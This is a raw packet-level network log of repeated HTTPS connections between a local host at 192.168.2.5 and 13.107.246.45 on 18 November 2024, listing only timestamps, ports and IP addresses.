Nov 18, 2024 20:22:10.440612078 CET	443	50053	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.441767931 CET	50053	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.441775084 CET	443	50053	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.561477900 CET	443	50051	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.561578035 CET	443	50051	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.561686993 CET	50051	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.561909914 CET	50051	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.561928034 CET	443	50051	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.561938047 CET	50051	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.561944962 CET	443	50051	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.563451052 CET	443	50052	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.563550949 CET	443	50052	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.563925982 CET	50052	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.564246893 CET	50052	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.564261913 CET	443	50052	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.564279079 CET	50052	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.564285994 CET	443	50052	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.568135023 CET	50056	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.568178892 CET	443	50056	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.568198919 CET	50057	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.568259954 CET	443	50057	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.568264008 CET	50056	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.568309069 CET	50057	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.569544077 CET	50056	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.569557905 CET	443	50056	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.569770098 CET	50057	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.569789886 CET	443	50057	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.570425987 CET	443	50053	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.570493937 CET	443	50053	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.570628881 CET	50053	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.570745945 CET	50053	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.570759058 CET	443	50053	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.570766926 CET	50053	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.570771933 CET	443	50053	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.572863102 CET	50058	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.572899103 CET	443	50058	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.573436975 CET	50058	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.573554993 CET	50058	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.573570967 CET	443	50058	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.909900904 CET	443	50054	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.910521984 CET	50054	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.910533905 CET	443	50054	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:10.910953045 CET	50054	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:10.910958052 CET	443	50054	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.041816950 CET	443	50054	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.041865110 CET	443	50054	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.041913033 CET	443	50054	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.041949034 CET	50054	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.041982889 CET	50054	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.042388916 CET	50054	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.042388916 CET	50054	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.042412043 CET	443	50054	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.042428970 CET	443	50054	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.045191050 CET	50059	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.045245886 CET	443	50059	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.045516014 CET	50059	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.045959949 CET	50059	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.045979977 CET	443	50059	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.147217035 CET	443	50055	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.147979021 CET	50055	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.147996902 CET	443	50055	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.148212910 CET	50055	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.148219109 CET	443	50055	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.285926104 CET	443	50055	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.285995007 CET	443	50055	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.286139011 CET	50055	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.286526918 CET	50055	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.286526918 CET	50055	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.286542892 CET	443	50055	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.286550999 CET	443	50055	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.290817022 CET	50060	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.290848970 CET	443	50060	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.290939093 CET	50060	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.291073084 CET	50060	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.291086912 CET	443	50060	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.308291912 CET	443	50056	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.308885098 CET	50056	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.308914900 CET	443	50056	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.309485912 CET	50056	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.309493065 CET	443	50056	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.329225063 CET	443	50058	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.329340935 CET	443	50057	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.329731941 CET	50058	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.329756975 CET	443	50058	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.330411911 CET	50058	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.330418110 CET	443	50058	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.330499887 CET	50057	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.330540895 CET	443	50057	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.331077099 CET	50057	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.331083059 CET	443	50057	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.440129995 CET	443	50056	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.440172911 CET	443	50056	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.440275908 CET	443	50056	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.440313101 CET	50056	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.440356016 CET	50056	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.440613985 CET	50056	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.440629959 CET	443	50056	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.440640926 CET	50056	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.440645933 CET	443	50056	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.443583965 CET	50061	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.443622112 CET	443	50061	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.443701029 CET	50061	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.443869114 CET	50061	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.443876028 CET	443	50061	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.463490009 CET	443	50058	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.463968039 CET	443	50058	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.464045048 CET	443	50057	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.464103937 CET	50058	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.464143038 CET	50058	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.464148045 CET	443	50058	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.464159012 CET	50058	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.464163065 CET	443	50058	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.464318991 CET	443	50057	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.466094017 CET	50057	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.466185093 CET	50057	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.466185093 CET	50057	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.466233015 CET	443	50057	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.466260910 CET	443	50057	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.466473103 CET	50062	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.466510057 CET	443	50062	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.466592073 CET	50062	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.466758013 CET	50062	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.466775894 CET	443	50062	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.468151093 CET	50063	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.468167067 CET	443	50063	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.468225002 CET	50063	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.468334913 CET	50063	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.468344927 CET	443	50063	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.801065922 CET	443	50059	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.801681995 CET	50059	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.801716089 CET	443	50059	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.802171946 CET	50059	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.802185059 CET	443	50059	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.934556007 CET	443	50059	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.934578896 CET	443	50059	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.934643984 CET	50059	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.934670925 CET	443	50059	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.934737921 CET	50059	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.935791969 CET	50059	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.935842991 CET	443	50059	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.935873032 CET	50059	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.935890913 CET	443	50059	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.939261913 CET	50064	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.939330101 CET	443	50064	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:11.939400911 CET	50064	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.939542055 CET	50064	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:11.939575911 CET	443	50064	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.045681000 CET	443	50060	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.046200991 CET	50060	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.046224117 CET	443	50060	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.046683073 CET	50060	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.046689034 CET	443	50060	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.170542955 CET	443	50061	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.183557987 CET	50061	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.183583021 CET	443	50061	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.183607101 CET	443	50060	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.183634043 CET	443	50060	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.183693886 CET	50060	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.183701038 CET	443	50060	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.183749914 CET	50060	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.184129953 CET	50061	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.184134960 CET	443	50061	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.186248064 CET	50060	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.186270952 CET	443	50060	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.186281919 CET	50060	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.186288118 CET	443	50060	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.190637112 CET	50065	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.190699100 CET	443	50065	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.190794945 CET	50065	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.190912008 CET	50065	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.190927029 CET	443	50065	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.192526102 CET	443	50063	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.194310904 CET	50063	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.194325924 CET	443	50063	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.194725037 CET	50063	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.194730997 CET	443	50063	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.198004007 CET	443	50062	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.198584080 CET	50062	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.198611021 CET	443	50062	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.198947906 CET	50062	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.198955059 CET	443	50062	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.309799910 CET	443	50061	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.309823036 CET	443	50061	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.309887886 CET	443	50061	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.309886932 CET	50061	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.309931993 CET	50061	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.310164928 CET	50061	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.310164928 CET	50061	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.310188055 CET	443	50061	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.310195923 CET	443	50061	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.313076973 CET	50066	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.313132048 CET	443	50066	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.313239098 CET	50066	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.313400030 CET	50066	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.313421011 CET	443	50066	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.322962999 CET	443	50063	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.323044062 CET	443	50063	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.323179007 CET	50063	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.323194981 CET	50063	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.323200941 CET	443	50063	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.323210955 CET	50063	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.323215961 CET	443	50063	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.326174974 CET	50067	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.326216936 CET	443	50067	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.326292038 CET	50067	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.326423883 CET	50067	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.326437950 CET	443	50067	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.328377962 CET	443	50062	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.328399897 CET	443	50062	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.328454971 CET	50062	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.328473091 CET	443	50062	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.328485012 CET	443	50062	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.328536034 CET	50062	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.328639030 CET	50062	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.328651905 CET	443	50062	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.328661919 CET	50062	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.328666925 CET	443	50062	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.330682993 CET	50068	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.330708981 CET	443	50068	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:12.330777884 CET	50068	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.330903053 CET	50068	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:12.330918074 CET	443	50068	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.006513119 CET	443	50064	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.010437965 CET	50064	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.010500908 CET	443	50064	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.010920048 CET	50064	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.010935068 CET	443	50064	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.132802010 CET	443	50066	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.133387089 CET	50066	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.133444071 CET	443	50066	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.133502007 CET	443	50067	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.133831978 CET	50066	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.133846045 CET	443	50066	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.134088039 CET	50067	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.134118080 CET	443	50067	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.134444952 CET	50067	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.134450912 CET	443	50067	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.135932922 CET	443	50065	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.136210918 CET	50065	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.136218071 CET	443	50065	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.136641026 CET	50065	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.136646986 CET	443	50065	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.137747049 CET	443	50068	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.138015985 CET	50068	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.138055086 CET	443	50068	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.138376951 CET	50068	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.138386011 CET	443	50068	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.265063047 CET	443	50067	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.265079975 CET	443	50067	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.265146971 CET	50067	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.265182018 CET	443	50067	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.265202045 CET	443	50066	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.265249968 CET	50067	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.265297890 CET	443	50067	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.265333891 CET	443	50066	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.265340090 CET	443	50067	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.265393972 CET	50066	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.265412092 CET	50067	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.265492916 CET	50066	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.265512943 CET	443	50066	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.265525103 CET	50067	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.265527010 CET	50066	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.265535116 CET	443	50066	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.265542030 CET	443	50067	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.269084930 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.269112110 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.269212961 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.269332886 CET	50070	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.269354105 CET	443	50070	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.269412994 CET	50070	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.269588947 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.269603968 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.269668102 CET	50070	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.269676924 CET	443	50070	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.270049095 CET	443	50065	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.270111084 CET	443	50065	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.270154953 CET	50065	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.270222902 CET	50065	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.270234108 CET	443	50065	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.270243883 CET	50065	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.270251036 CET	443	50065	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.272514105 CET	443	50068	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.272536993 CET	443	50068	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.272603035 CET	50068	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.272607088 CET	443	50068	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.272669077 CET	50068	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.272767067 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.272783041 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.272840977 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.272870064 CET	50068	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.272881985 CET	443	50068	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.272891998 CET	50068	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.272896051 CET	443	50068	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.273020029 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.273035049 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.275412083 CET	50072	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.275429964 CET	443	50072	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.275491953 CET	50072	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.275615931 CET	50072	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.275628090 CET	443	50072	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.555620909 CET	443	50064	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.556351900 CET	443	50064	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.556451082 CET	50064	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.556494951 CET	50064	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.556494951 CET	50064	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.556519985 CET	443	50064	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.556534052 CET	443	50064	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.559439898 CET	50073	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.559505939 CET	443	50073	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:13.559597015 CET	50073	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.559766054 CET	50073	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:13.559786081 CET	443	50073	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.021567106 CET	443	50072	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.022129059 CET	50072	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.022145033 CET	443	50072	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.022593021 CET	50072	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.022598028 CET	443	50072	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.029633045 CET	443	50070	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.029980898 CET	50070	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.029994965 CET	443	50070	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.030380964 CET	50070	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.030385017 CET	443	50070	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.033461094 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.033730030 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.033752918 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.034079075 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.034085989 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.158320904 CET	443	50072	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.158344030 CET	443	50072	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.158404112 CET	443	50072	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.158452034 CET	50072	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.158519030 CET	50072	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.166294098 CET	443	50070	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.166320086 CET	443	50070	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.166376114 CET	443	50070	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.166430950 CET	50070	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.166469097 CET	50070	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.176950932 CET	50072	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.176966906 CET	443	50072	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.184406996 CET	50070	443	192.168.2.5	13.107.246.45
